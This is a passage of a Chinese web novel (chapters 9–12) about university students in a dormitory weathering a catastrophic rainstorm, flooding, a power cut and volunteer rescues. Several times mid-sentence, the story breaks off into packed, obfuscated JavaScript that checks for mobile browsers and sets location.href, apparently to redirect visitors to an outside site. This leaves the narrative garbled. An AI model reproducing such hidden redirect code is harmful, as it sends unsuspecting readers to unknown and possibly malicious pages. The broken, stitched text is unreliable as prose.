用体重秤称完水果，几人又帮着秦小薇在群里卖水果，售价比进价贵五毛，毕竟这两箱水果是秦小薇大半夜去批发市场买的，还是人肉扛上12楼的，几人都认为收五毛的“辛苦费”不过分。 秦小薇不靠这个赚钱，便按照室友说的，只加了五毛钱跑腿费意思意思。 水果的价格比 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“对！香肠之前一直吃鲜食，我寝室里只有一袋狗粮，新买的堵在路上了，只能买点别的掺着喂……”说到拉布拉多的伙食问题，裴欣的眉头皱了起来。 显然，暴雨期间拉布拉多的口粮问题让她十分烦恼。 “狗不能吃太多柿子吧？”秦小薇提醒她。 裴欣：“柿子我和我男朋友吃，水果黄瓜才是香肠的。” “拉布拉多一天要吃多少啊？”段霞好奇地问道。 “香肠吃鲜食是一天两顿，一顿两斤，狗粮的话少一点，一顿一斤就够了。” “它一天要吃四斤？！”1206的四位成员都被这只拉布拉多的饭量震惊了。 “这也太能吃了！”秦小薇感叹道。 她原本还计划着以后养条大狗，既能陪她，又能看家，得知拉布拉多的饭量后，她默默打消了这个念头。 一天几十块的伙食费，花在自己身上不香吗？ 裴欣走后，1206寝室又陆续来了几个同学，箱子里的脆柿和水果黄瓜很快就被瓜分完了。 “你们快看手机，其他省也发了暴雨预警！”范槿的声音引起了秦小薇的注意。 她打开手机看了看，果然，除了少数几个比较缺水的省份，国内很多省份都发了暴雨预警，各省暴雨开始的时间各不相同，早的三天后，晚的五天后，现在各大门户网站的头条都是暴雨预警的消息。 还有人在网上发了各省预警中心群发的短信，和他们Q省的差不多。 秦小薇不禁想到了那些抢票、自驾跑到其他省市“避难”的市民，不知道他们会不会后悔离开……毕竟陌生的城市总不如自己家里舒服！ 不过这些都和她无关，按照她目前的准备，她应该能平安度过暴雨那几天。 这两天要忙的事太多，她都没睡好，她原本计划着收拾完东西洗个澡就上床睡觉。 但今天晚上宿舍十分热闹，寝室里的人来了一波又一波，秦小薇一直没能上床睡觉。 9. 第 9 章 先是班干、辅导员大查寝；之后学生会又挨个寝室检查她们有没有囤够足量的生活用水、窗户有没有封好；之后社团又来动员她们报名当志愿者，在同学被困寝室的时候为大家运送物资…… 秦小薇没什么舍己为人的奉献精神，这几天上班加通勤都快把她掏空了，难得一个长假，她只想在寝室躺着，就没报名当志愿者。 但她们寝室其他三个人都很积极，三个人都报了名，还在群里参加了一场线上培训。 一直折腾到十一点多，秦小薇才上床睡觉。 这几天太累了，再加上她睡前戴了耳塞，她这一觉睡得很沉，纵然宿舍楼半夜闹出了不少动静，她依旧没被吵醒。 早上六点半，秦小薇准时被生物钟叫醒，睡醒后，她借着床帘的遮挡先去了趟农场空间，之后才下床洗漱，但脚刚落地，她的眉头就皱了起来——寝室里都是水。 三个室友堆在地上的鞋盒纸箱全都湿了。 她记得昨晚睡前阳台门是关着的啊，难道后面被人打开了？ 秦小薇踩着地上的积水去了和阳台相邻的洗漱台。 寝室和阳台中间隔着一扇推拉门，阳台是开放的，没法封，三个室友只能按照班级群里的办法找东西加固阳台的磨砂玻璃门。 昨天学生会的学妹还特地过来提醒她们要关窗，她们寝室早早就把推拉门和厕所的窗户关上了。 秦小薇过去检查了一下，阳台的推拉门是关着的，水是从推拉门的缝隙里渗进来的，不知什么原因，阳台积水很严重，磨砂玻璃外的水位已经到她的小腿了，现在打开阳台门，外面的积水会瞬间涌进来。 继续这样下去，寝室里的水位会越来越高，直到和外面齐平。 确定自己一个人搞不定这件事后，秦小薇选择挨个把室友叫醒：“饭饭、琳琳、阿霞，你们醒醒，咱们寝室进水了！” “我去——”看到地上的积水，三人都吓了一跳，范槿连睡衣都没换，就赤着脚下了床。 “地上怎么这么多水？水管爆了吗？” 秦小薇指了指阳台的方向，提醒她们最大的麻烦还在外面：“阳台积水了，水是从缝隙里渗进来的，外面的水位比屋里还高……” 范槿的第一反应是上网求助，但她打开手机才发现，不止她们寝室，现在学生宿舍很多寝室都能养鱼。 可能是因为雨太大了，侵占了下水管的所有空间，现在下水道的积水根本就下不去，整栋寝室楼，所有的地漏都罢工了，阳台的也没有例外。 再加上学生宿舍的阳台是水泥围栏，只在墙的侧边留了一个直径三、四厘米的出水管，地漏罢工后，要是那个出水管也被堵了，或是积水流入阳台的速度超过水流出去的速度，阳台就成了一个巨大的“蓄水池”，雨水会慢慢蓄积在阳台里。 阳台门虽然关着，但轨道和门的连接处有缝隙，雨水就顺着这些缝隙一点点渗进了寝室…… 现在已经有学生拿着盆从阳台往外面舀水了，学校也联系了水电工，让他们挨个寝室打孔，增加排水孔，尽快把阳台的积水排出去。 但暴雨天气，维修师傅出门不方便，再加上整个校区有一万多间寝室，什么时候能排到她们寝室，谁也说不准。 辅导员在群里鼓励他们群策群力，先自己想办法把水排出去，免得造成更大的损失。 范槿关掉手机，看向屋里其他三人：“好多寝室都被淹了，他们都在手动排水……” 秦小薇无奈地叹了口气：“那咱们也手动排水吧！先把地上的东西收拾一下……” “行吧！”四人撸起袖子，准备干活。 范槿：“对了！我去隔壁通知一声，免得她们睡过头，寝室被淹了都不知道……” 隔壁几个寝室的同学确实都在睡，很多人对这场能淹到三楼的特大暴雨感到好奇，昨晚不少人等到两点多，雨开始下了，才准备睡的。 但后半夜又是暴雨又是打雷闪电，把裴欣养的那只拉布拉多吓得不轻，在寝室里嚎了半宿。 宿舍楼的隔音本来就差，拉布拉多放开嗓子叫的时候声音又特别大……楼上楼下有几个女生觉得太吵了，就跑去敲她们寝室的门，让裴欣看好狗，别让它叫了。 后面不知怎么的，其中一个女生和裴欣吵了起来，拉布拉多还在边上“帮腔”，引得不少人出来劝架看热闹……所以昨晚她们这层楼大部分人都没睡好。 范槿把十二楼的同学挨个通知了一遍，才回来收拾东西。 除了秦小薇，其他三人的东西都很多，鞋盒、瑜伽垫什么的全都放在地上，柜子里塞得满满的，外面走廊里也都是水，地上的东西根本没地方送，秦小薇只能把行李箱从柜子里拿出来，把自己的衣柜贡献出来给室友放杂物。 收拾完东西，秦小薇又套上了自己从行（空）李（间）箱里偷渡出来的雨衣，换上拖鞋。 “我开门了，你们做好准备。”秦小薇侧着身体站在推拉门前，三个室友则拿着塑料盆站在边上。 范槿还把她的手机固定在洗脸台上，想要拍视频记录下她们寝室“被淹”的全过程。 昨晚还很丝滑的推拉门今天却卡得非常紧，秦小薇手臂的青筋都出来了，才把门拉开。 要是换成她上辈子的身体，能不能拉开这扇门还真是个未知数。 “哗啦——”阳台蓄积的雨水瞬间冲进寝室，三个室友手忙脚乱地用塑料盆接涌进来的水，但是涌进来的雨水太多了，她们手上的盆没起到太大的作用，反而是她们的裤子鞋子，全都弄湿了。 “薇薇，门开得太大了，你关上一点！”段霞大声喊道。 “推不动，门出问题了！”秦小薇的额头出了一层薄汗。 段霞赶紧放下手上的盆，过来帮忙推门，但就像是秦小薇说的那样，门忽然就卡住推不动了，她们两个练举重的体育生一起使力，依旧没能把门关上…… 几人只能眼睁睁地看着阳台的雨水涌进宿舍，好在室内面积比阳台大，屋里的水位并没有上涨多少。 秦小薇：“我去检查一下阳台的出水口……” 倾盆大雨在宿舍外墙形成一道雨帘，很多细小的水线顺着墙面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043605|162660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓷砖流到阳台里，像是有人拿了数根引流管接在墙上，把外面的雨水往阳台引。 阳台积水太多，在积水的浮力下，她们留在阳台的杂物全都脱离了它们原本的位置，原本直立的拖把横在地上，堵住了墙上的出水口。 秦小薇猜测，拖把应该没堵住出水口太久，否则以阳台现在积水的速度，水位不可能只到她的小腿。 “出水口被拖把堵住了——”秦小薇挪开拖把，视线穿过雨幕往外面看了一眼。 只这一眼，就让她有种心惊肉跳的感觉。 外面的雨很大，雨雾甚至遮挡住了远处的建筑，降低了空气中的能见度，楼下一片汪洋，一楼的花坛已经彻底消失在雨水中了。 难怪应急中心要发那么多短信提醒大家提前做好准备！ 不管是穿越前还是穿越后，秦小薇都没经历过这样的大雨，她盯着楼下消失的花坛看了一会，眼中闪过一丝担忧。 天气预报显示暴雨会持续九天，照着这个速度下九天，真的只会淹到三楼吗？ “薇薇，你在阳台往外面舀水，我们负责里面的！”段霞的声音打断了秦小薇的思绪。 “好！”秦小薇接过范槿递过来的脸盆，从阳台舀水往外面泼。 隔着厚重的雨幕，她能看到，对面男寝有不少男生都在重复和她一样的动作。 雨下得太大了，就算秦小薇穿着雨衣站在阳台里，她的刘海依旧被打湿了。 水位降得太快，用脸盆一次舀不了多少水，秦小薇不断重复着舀水泼水的动作，腰都酸了，阳台依旧还有不少积水。 雨水顺着她的脸流到脖颈里，带来阵阵凉意，她觉得有点冷。 初春的气温还有些寒凉，秦小薇穿着拖鞋的双脚已经变得冰凉，见阳台的水位已经低于推拉门的门槛，积水不会再涌进室内了，她决定先回寝室把屋里的积水清扫干净。 扫帚、拖把、旧衣服……三个室友把手上能用的工具全都用上了。 没了水流的冲击力，推拉门变得顺滑许多，秦小薇合上推拉门，换了双鞋，找了块抹布，蹲在地上用抹布吸地上的积水，抹布吸饱了水再把水拧到水盆里，等水盆里的水满了，再端到阳台倒掉——整栋楼的下水都堵住了，倒在厕所里脏水会漫出来。 四个人忙活了快两个小时，室内的积水才被她们清理干净。 在她们打扫的时候，阳台侧面的出水管一直在往楼下排水，大雨一直在下，阳台的水位始终维持在两三厘米左右，见水不会再涌进来，几人就没再管，只在门口堆了些旧衣服和拖把。 群里说这样可以及时把渗进来的水吸掉，隔一会拧一下拖把就行了，能省不少麻烦。 打扫完积水，秦小薇有些饿了，见三个室友都在处理被弄湿的行李，她站了起来。 秦小薇：“我去楼下买早饭，你们吃什么？我帮你们带。” “我要两个茶叶蛋和一杯小米粥。” “我想吃面条，我看到群里说今天有炒面。” “薇薇，我要包子。” “行！” 10. 第 10 章 出门的时候，秦小薇还不忘带上自己那个已经积了许多灰的开水瓶，打算接点热水回来洗漱。 楼下的积水太深，学校担心学生们自己去教学楼吃饭会出事，一早就安排了志愿者在暴雨期间为学生送餐。 昨天辅导员就在群里发了，说暴雨期间食堂会正常供应早餐，只是种类会有所减少…… 一栋的取餐点在203寝室，早餐的供应时间是七点到九点，午餐是十一点到下午一点，晚餐是下午五点到七点。 暴雨期间坐电梯很危险，要是被困在电梯里了也很难等到救援，学校的电梯昨晚就停止运行了，她只能走楼梯下去。 开水房里也进水了，不过机器还在正常运行，秦小薇刷卡接了一壶开水，水接满后，她把开水瓶靠墙放着，出了开水房继续往楼下走。 一条长长的队伍从203寝室蜿蜒而出，她自觉走到队伍的最后面排队。 秦小薇拿出手机，一边排队一边上网。 虽然预警中心提前三天发布了暴雨预警，官方也安排了不少工作人员组织民众撤离危险的地方，但并不是所有人都会听指挥，有些“大聪明”就是有自己的想法。 有些人到达安置点后偷偷跑回了家，还有些人直接躲起来不让工作人员找到……现在外面涨水了，他们被困在家里，觉得害怕了，才开始疯狂拨打救援电话求救。 一连看到了好几条类似的消息，秦小薇忍不住在心里骂了句蠢货，暴雨的消息那么铺天盖地的宣传了三天，竟然还有人觉得是假的？ 刷了会手机，她对外面的情况有了更清晰的认知。 现在外面的积水还不到大腿，按照水位来说是淹不死人的，但是水流带来的冲击力很大，它会卷着水里的东西疯狂往下水口涌，人站在水里很容易摔倒。 摔倒后要是不能及时站起来，就很容易呛水发生危险，或是被水流裹挟着朝下游去了…… 就在昨天，秦小薇还觉得这场暴雨给她带来的只是一个什么都不用做的超长假期，看到网上的新闻，她才意识到，自然灾害从来都比她想象的残酷。 要是预警中心没有提前三天发消息，她现在可能也会被困在上班路上的某个地方…… 要是没有空间，她可能还要为食物和水的问题发愁…… 她站了一会，但前面的队伍丝毫没有挪动的迹象，秦小薇伸长了脖子朝前面看。 走廊尽头的窗户堵得很严实，走廊里亮着几盏散发着幽绿色光芒的应急灯，203门口很安静，并没有人员进出。 秦小薇戳了戳前面排队的女生：“同学，队伍怎么一直不动啊？” 她前面的女生摇了摇头，表示自己也不知道，反而是同班的另一个女生，听到她的声音，回过头大声告诉她：“之前送过来的早餐都卖完了，志愿者去三教拿了，还没回来。” 秦小薇：“这样啊……” “秦小薇，好久没看到你了，你现在在哪实习？” 秦小薇：“环湖路，在北山区那边……” 两人隔着人群聊了几句，秦小薇就结束了话题。 她又等了二十多分钟，终于等到了几个穿着雨衣的志愿者抱着泡沫箱子从楼道口走出来。 这时，已经有人等得不耐烦了，脱离队伍回了寝室。 虽然预警短信发出来没多久商业街的超市就被抢空了，但快递一直没停运，学校里也有人和她们寝室一样，去批发市场或是学校外面的大型超市抢吃的，再加上有些女生原本就有在寝室囤零食的习惯，因此就算她们今天不买早餐，也不会饿肚子。 除了雨衣，志愿者们还戴了头盔挡雨，进入宿舍楼后，他们摘下了头盔和雨衣上的帽子，秦小薇发现，他们每个人的裤腿和鞋子都是湿的，头发也被雨水淋湿了，贴在头皮上，看起来十分狼狈。 他们从她身边走过时，秦小薇听到他们抱怨雨太大，身上全湿了，路上皮划艇还差点翻了之类…… 餐送过来之后，队伍前进的速度一下子快了很多，大家买东西的速度都很快。 203的床和衣柜都被搬走了，只放了两张长桌，桌子上放着一排泡沫箱，桌后站着一个拿着刷卡器的阿姨。 轮到秦小薇的时候，阿姨用眼神指了指泡沫箱里打包好的早餐：“要什么？” 前面的人比较多，泡沫箱里现在就只剩馒头和豆沙包了，要是想吃别的就得等志愿者下一趟送餐。 秦小薇刚刚在群里问过室友的意见了，闻言答道：“阿姨，要四个馒头十个豆沙包，谢谢。” 豆沙包和馒头都是两个一袋，他们学校食堂非常实诚，包子和馒头的个头都做得很大，普通女生一般早餐吃两个包子就很撑了，有些胃口小的，买一个也够了。 当然……秦小薇她们这种体育生除外。 阿姨在刷卡机上按下数字后，才去泡沫箱里拿包子。 “滴——”一声后，秦小薇提着七个袋子离开了203。 路过开水房的时候，她顺道把开水瓶提了上去。 “我下去得太晚了，东西都被买得差不多了，中午我早点下去。”回到寝室后，秦小薇把买来的早饭分给三个室友。 段霞咬了一口馒头：“行啊，到时候我们一起下去，下午我去食堂当志愿者，薇薇，晚餐我帮你带，保证帮你带一份肉最多的盒饭。” “那我的晚餐就拜托你们了！”正在挤牙膏的秦小薇笑着回了一句。 群里提供的方法很管用，渗进来的雨水都被推拉门边上的拖把和旧衣服吸掉了，屋里没再出现积水。 当然，也有寝室比较倒霉，推拉门和轨道之间的缝隙太大，水渗进来的速度特别快，拖把和旧衣服几乎不起作用，她们隔一会儿就得拧一下拖把…… 不过这一切都和秦小薇无关，她吃完早饭就打开了自己的笔记本，先是就着自己准备的水果拼盘戴着耳机看了一部电影，之后又上网查资料，为毕业论文做准备，仿佛寝室外的风雨都和她无关。 “滋滋——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043606|162660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一阵闪烁之后，头顶的六根灯管灭了，屋里的光线一下子暗了许多。 秦小薇摘下耳机，皱眉看着头顶的白炽灯：“停电了？” “不要啊！我昨晚忘记充电了，现在手机只剩百分之三十的电。”范槿发出一阵哀嚎。 “是不是跳闸了？我去隔壁寝室看看——”肖琳琳趿着拖鞋往外跑。 几分钟后，她垂头丧气地回来了。 肖琳琳：“就我们这栋停电了，其他宿舍楼都有电，不知道师傅什么时候会来修……” 秦小薇已经检查完自己的电子产品，摆摊的时候没地方充电，她很早就买了一个五万毫安的大容量充电宝，再加上网上说暴雨的时候可能会停水停电，她前两天就把充电宝的电充满了。 两部手机，剩余的电量都超过了百分之九十，笔记本也是满电，应该能坚持一段时间。 要是充电宝和手机的电量都用完了，她还可以进空间补充。 她买了一个野营用的户外电源放在空间里，夏天去空间里“避暑”的时候用，里面存了两度电，完全够她过完暴雨这几天。 不过她现在住在寝室，空间里的户外电源能不用还是不用的好。 秦小薇随手把开了省电模式的手机放在桌上，手指在键盘上轻轻敲击着，准备她的毕业论文。 因为宿舍每晚都会断电，其他三个室友也都买了充电宝，只是容量没有秦小薇的大，除了范槿这个粗心的，她们的充电宝全都是满电。 范槿很快想到了解决方法——男寝那边还没停电，她打算下午当志愿者的时候去男寝蹭点电。 寝室里没开灯，推拉门也关着，昏暗的光线让秦小薇有种已经快到晚上的错觉，看了一会资料，她就开始犯困，连着打了好几个哈欠…… 段霞的一句话让她忽然精神起来：“家人们，我想上大的，我可以申请去上厕所吗？” 寝室里瞬间陷入沉默。 秦小薇和其他两人对视几眼，沉默着没有说话。 厕所的下水口堵了，要是在里面上厕所，寝室里的气味肯定会很难闻，但天气预报说暴雨会持续九天，她们四个总不能憋九天不上厕所。 最后还是范槿开口打破沉默：“段霞，你能憋得住吗？要不下午做义工的时候去教学楼拉？” 段霞苦着脸捂住了自己的肚子：“有点急，早上空腹柿子吃多了。” 说话间，三人都听到了她肚子里“咕噜咕噜”的声音。 三人：“……” 秦小薇：“要不你去一二三楼找开着门的寝室，去楼下解决？我之前下去买早餐的时候看到二楼有好几间寝室都没锁门……” 虽然在别人寝室拉屎有点奇怪，但现在是特殊情况，要是在自己寝室拉了，她们四个是要被熏九天的！ 段霞顿时眼前一亮：“我怎么没想到这个办法？” 说着，她就拽了一截卫生纸冲了出去。 屋里其余三人齐齐松了口气。 11. 第 11 章 时间很快就到了十一点，楼下203要开始供应午餐了。 上午秦小薇去晚了，只买到了馒头和豆沙包，见午餐供应要开始了，四人立刻放下手上的东西，结伴下楼买中饭。 虽然她们下来的时候才10:59，但203门口依旧排起了长队，秦小薇粗略数了一下，她们前面至少排了五十人。 大部分人都是结伴一起下来的，众人聚在一起，叽叽喳喳地聊着中午的菜色。 “不知道中午有什么……早上轮到我的时候早饭刚好卖完了，然后阿姨就跟着皮划艇走了，我只能回寝室啃饼干。” “我想吃炒饭，志愿者群里说今天有扬州炒饭和香肠炒饭……” “大家都来得好早啊！” “……” 范槿看着前面长长的队伍叹了口气：“怎么才十一点就来了这么多人？这几天买饭不会都要靠抢吧？” 秦小薇：“没事，我现在有大把的时间，可以提前下来排队。” “嘿嘿，薇薇，以后我的早餐就交给你承包了，我早上真的起不来……” 没过多久，就有穿着雨衣的志愿者抬着泡沫保温箱、提着装满了盒饭的大塑料袋从楼道口走出来。 泡沫箱很大，基本上每个泡沫箱都由至少两个人抬着。 收钱的阿姨是和第一批志愿者一起来的，不到三分钟，203门口的队伍就开始向前挪动。 队伍往前挪动的速度很快，没多久就轮到秦小薇她们了。 203寝室，桌子正中央那个最大的泡沫保温箱外面贴着一张A4打印纸，上面用加粗加大的黑体字写着“一花荤一素6元，一荤一素8元，一荤一花荤一素10元，米饭一元一盒，菜色随机不可挑选”五行大字。 四人都选了10块的盒饭，拿到盒饭后，秦小薇上手掂了掂，觉得有点轻，她担心吃不饱，又刷了一块钱多买了一份米饭，她的三个室友也和她一样，都多买了一份米饭。 “我的这份有鸡腿诶！你们的盒饭有什么菜？”刚出203范槿就打开了盒饭的盒子。 段霞：“我的和你一样，豆芽、鸡腿和花菜炒肉，咱们这几份应该是同一批。” 肖琳琳：“我是鱼块，胡萝卜炒肉和豆芽……盒饭里的饭菜是不是比食堂少？” 秦小薇也打开自己那份看了一眼：“我的是苦瓜、海带炒肉和炸鸡……怎么吃个午饭搞得和开盲盒似的？” 范槿：“嘿嘿，这样也挺有意思的！” 虽然有三个菜，但除了范槿和段霞拿到的鸡腿，剩下的部分，菜的分量只有平时食堂的一半，米饭的分量也比平时少很多，饭菜加起来连一个打包盒都没装满，和食堂以往便宜、量大、管饱的风格完全不一样。 她们四个后面是就着范槿贡献的辣椒酱把多买的那盒米饭吃完的。 秦小薇揉了揉自己的肚子：“中午的菜好少，晚上我要买两份盒饭……咱们的垃圾扔在哪？” 肖琳琳：“先用垃圾袋装着，装满了就放门口，就几天，咱们应该生产不了多少垃圾……” 秦小薇想到了自己一个人住的时候扔垃圾的频率，沉默了。 唉，还是在家里好，垃圾没地方扔可以堆空间里，上厕所的问题也能在空间里解决。 这才暴雨第一天，就碰到了这么多问题…… 吃完中饭，范槿三人就下楼当志愿者了，留秦小薇一个人在寝室。 她打了个哈欠，上床睡了个午觉，睡醒后，她直接进了空间，沿着海边自己规划的小路跑步。 可能是因为这具身体是体育生，她穿越后精力一直特别旺盛，虽然她经常会想躺平，但真让她在床上躺一天什么都不干，她又觉得浑身难受。 穿越前她连个瑜伽垫都没有，但穿越这两年，她买的健身辅助器材已经能堆满一个小房间了，就连运动服和瑜伽服都买了十几套。 跑了大半个小时，又撸了会铁，秦小薇才用“露天厨房”的煤气灶烧热水擦身体。 等她再次从空间里出来的时候，寝室群里的消息已经99+了。 范槿三人分到了不同的工作，一直在群里发消息。 【范槿：我有点后悔报名了，我们队长让我们去商贸大厦救援，外面雨太大了，我身上全湿了……】 【范槿：发的雨衣和头盔根本没什么用，雨太大了。】 …… 【段霞：皮划艇超载，船沉了，出师不利啊！社团是不是预料到了这一点？所以提前给我们发了防水袋装手机。】 【段霞：我来食堂帮忙了，你们要吃什么？晚点我给你们带。】 【肖琳琳：我待会儿也要去食堂……你们都不知道我刚才经历了什么，刚刚给男寝送物资，看到一个男生蹲在台阶上往水里拉屎……我的眼睛要瞎了！】 【段霞：家人们，我发现食堂区别对待！明明盒饭的价格都是一样的，但是男寝那边的分量就是正常的，比女寝多好多！太过分了！】 【范槿：怎么这样？！】 【段霞：阿姨说女生饭量小，打多了吃不完扔了也是浪费，暴雨期间粮食很难运进来，要节约粮食……所以女寝这边盒饭的分量比男寝少。】 【范槿：这是刻板印象！】 【范槿：他可以出小份啊！凭什么花一样的钱，女生的饭菜却比男生少？】 【范槿：就算他们觉得女生吃不完那么多饭会浪费，他也可以只减少米饭的分量啊！为什么饭菜的分量一起减少？】 …… 【范槿：我到商贸大厦了，刚刚有个小朋友给了我一颗糖。】 【范槿：他自己都在水里泡了好几个小时了，还关心我衣服湿了会不会感冒，太暖心了！】 【范槿：忽然就觉得这趟还挺有意义的。】 …… 【肖琳琳：学生会的办公室专门给志愿者准备了红糖姜茶，你们那边有没有？要不要我给你们带？】 【范槿：我很需要……不过我还要跟着队长他们去好几个小区，不确定什么时候能回学校。】 …… 秦小薇翻看完所有的群消息，发现三个室友下午这几个小时过得非常……热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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菜有一大块炸鸡排、酸辣包菜、糖醋排骨和土豆炒肉，除此之外，还有一小碗萝卜排骨汤。 这是食堂专门给志愿者准备的晚餐，肖琳琳她们吃是免费的，秦小薇有她俩“代购”，一份也只要花十二块钱。 如果饭菜没有冷掉的话，这份快餐可以说性价比拉满。 秦小薇很想用空间里的微波炉和户外电源把饭菜热一热，但寝室里还有两个室友，她只能吃冷的…… 三人吃完晚饭，范槿才回来，她看起来比肖琳琳和段霞还要狼狈，声音也有些嘶哑——她感冒了。 见三个室友不是咳嗽就是打喷嚏，秦小薇忍不住劝她们：“你们明天别出去了，外面积水这么深，你们要是生病了，连医院都没法去。” 范槿：“我已经和队长说了，我要退出志愿者队伍，外面雨太大了，身体遭不住……下午船翻了，有个队员差点被水冲走，还有个差点被淹死，当时真的吓死我了，还好有队长在，一直喊着让我们拉着手……” 肖琳琳：“我也退出了。” 段霞：“我也……” 范槿：“对了，我捡了个油漆桶回来，咱们这几天，小的在桶里解决，大的去楼下，这个有盖，味道应该不会特别大。” 其余三人对她的安排没有意见，秦小薇帮她把油漆桶提进了浴室。 范槿：“好想洗热水澡，好羡慕那些还没停电的小区。” 12. 第 12 章 听到范槿的话，秦小薇有些惊讶：“咱们学校的寝室都停电了？” 范槿点头：“都停了，寝室、办公楼、教学楼全都停电了，外面很多地方也停电了，听说供电箱被淹了，咳咳——大面积短路，根本没法修……我台灯没电了，亲爱的，你们谁能让我蹭一下台灯？我不想摸黑吃饭。” 秦小薇把自己的椅子往边上挪了挪，空出了一个位置：“来我这吃吧！” “好嘞！”范槿立刻端着盒饭坐了过来。 秦小薇：“外面情况怎么样？很多人被困吗？” 范槿点头：“其实也不是很多，但每个小区都有一两个，加起来工作量就很大……今天刚开始还是送物资救援，后面就一直在处理‘邻里矛盾’，今天最麻烦的是柏翠小区，那里是老小区，没有地下停车场，开发商就把一楼当停车场，买一套房送一间屋子让业主停车。” “很多没车的业主就把送的房子租给外地人住，那里有个租户特别蠢，觉得社区的人让他们去临时安置点是有什么阴谋，想谋财害命，联合小区里其他的租户想办法躲过去了……今天暴雨把他们家淹了，他们就去楼上找房东想办法，想暂时住房东家，有些房东不同意，就吵起来了……我们到的时候，有几家还动了刀子。” “反正就很混乱，市政的临时安置点早就满了，我们回来的时候还拉了两船人回学校。” 秦小薇三人都听得很认真，听到他们还拉了人回学校，忍不住追问道：“要让他们住学生寝室吗？” 范槿摇头：“那倒不是，学校把他们安置在教学楼那边了，楼下就是临时食堂，那边吃饭方便，不用特地安排人给他们送饭……不过他们也挺惨的，家都被淹了，晚上睡觉连个能保暖的被子都没有。” 话题一下子变得沉重起来，秦小薇转移话题：“你们吃水果吗？我去洗点……” “嗓子疼，现在没胃口。” 虽然USB台灯充满电之后可以坚持十几个小时，但她们寝室现在只有三台台灯有电，就算轮流开也坚持不到九天后，吃完饭没过多久，三人就把桌上的台灯关了，摸黑坐在桌前玩手机。 网上的消息基本上都和大暴雨有关，几乎每个小区都有那么几个“钉子户”没去临时安置点，雨太大救援困难，官方的救援队根本就不够用，其他省份也在做暴雨前的准备工作，分不出人手过来支援，只能靠Q省人自己想办法度过危机。 在官方的动员下，民间组织了很多救援队伍，白天，几乎每个大学都出动了志愿者外出救援，光是他们学校，就出动了三十支志愿者小队。 像她们寝室这样，明明身处高楼层，家里漏雨进水的也不在少数。 以前下雨关上门窗就行了，但这次的雨太大了，雨水几乎是一刻不停地沿着墙壁往下冲刷，在建筑的外墙上形成一道水帘，就算他们按照网上的教程提前堵住了门窗的缝隙，依旧有雨水顺着缝隙流进室内。 就和她们寝室一样…… 看着网友们发的照片，秦小薇忽然就很担心自己的公寓，也不知道她提前做的准备有没有用，要是公寓里面也进水了，瓷砖可能会被泡烂…… 那些还没开始下雨的省市的居民，看到Q省的现状都非常恐慌，有些低楼层的住户，生怕自己不去临时安置点下暴雨的时候会被困死在家里，都非常配合社区工作人员的工作……让社区工作人员的工作轻松了许多。 食物、充气船、干净的饮用水，和暴雨相关的各种物资全国都处于紧缺状态。 还有身处国外的网友，PO出了当地的天气预报，天气预报显示当地过几天会下暴雨，他们还收到了大使馆组织撤侨的短信，他们很担心自己所在的城市会成为下一个Q省…… 还有些国家，已经开始下雨了，情况比Q省还严重，已经成为了“水上国家”…… 这场暴雨似乎是全球性的…… 从昨晚开始，年级群和班群的消息就没停过，比如阳台打孔的师傅一直不来，有学生抱怨寝室里积水太多没法住人，想让辅导员帮忙催一催；有人暴雨前没囤生活用品，希望志愿者能送一些过来；还有寝室厕所太臭了，下水一直堵着，希望学校想办法解决；女生饭菜分量太少了，有人找学院老师抗议，希望他们出面和食堂协商；还有人抱怨晚上太吵，楼上有人出不去就在走廊里运动等等…… 其实秦小薇对食堂区别对待的行为也很不满，她吃了会瓜，点了几个征集意见的群投票支持学生会找食堂维权，才关上聊天软件。 前几天太忙了，她之前玩的几款游戏连日常任务都没时间做。 她挨个上线游戏，把每日任务做了，想了想，又氪金补了几个签到。 屋里光线太暗了，她玩了会手机就开始觉得眼睛干干瑟瑟，非常不舒服，她看了下时间，八点四十五，这个时间睡觉好像也不算太晚？ 早点睡吧！明天早点下楼买早饭！ 下午的时候，宿舍楼的自来水也停了，不过三个室友前几天就存了好几桶水，她们暂时不用担心生活用水的问题。 她刚爬上床，寝室门就被敲响了。 脸上长着小雀斑的年轻女孩落落大方地说着自己的来意：“学姐，你们好，我们是爱心社的，学校教学楼里安置了很多无家可归的市民，因为救援船的载重问题，很多人过来的时候都没带什么行李，学姐，你们有多余的衣服被子可以捐给他们吗？” 听到门外三个女孩的来意后，下午参与了救援的范槿立刻去翻自己的衣柜：“有，你们等一下，我要找一下！” “学姐，我先登记一下你们的寝室号，晚点再来收衣服，我们还要去其他寝室。” “行！” 寝室里的储物空间并不大，大部分学生准备的被褥都是刚好够自己盖的，根本没有多余的被褥可以捐出去，但找出一两件衣服捐出去还是没问题的。 秦小薇的衣服几乎全在空间里，这次回来住，明面上只带了几套换洗的衣服，能捐出去的衣服不多，她翻了下柜子，只找出了一件原主前几年买的羽绒服。 羽绒服有些旧了，希望收到衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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好在寝室停电，三个室友都状态不佳，并没有人注意到她的异常。 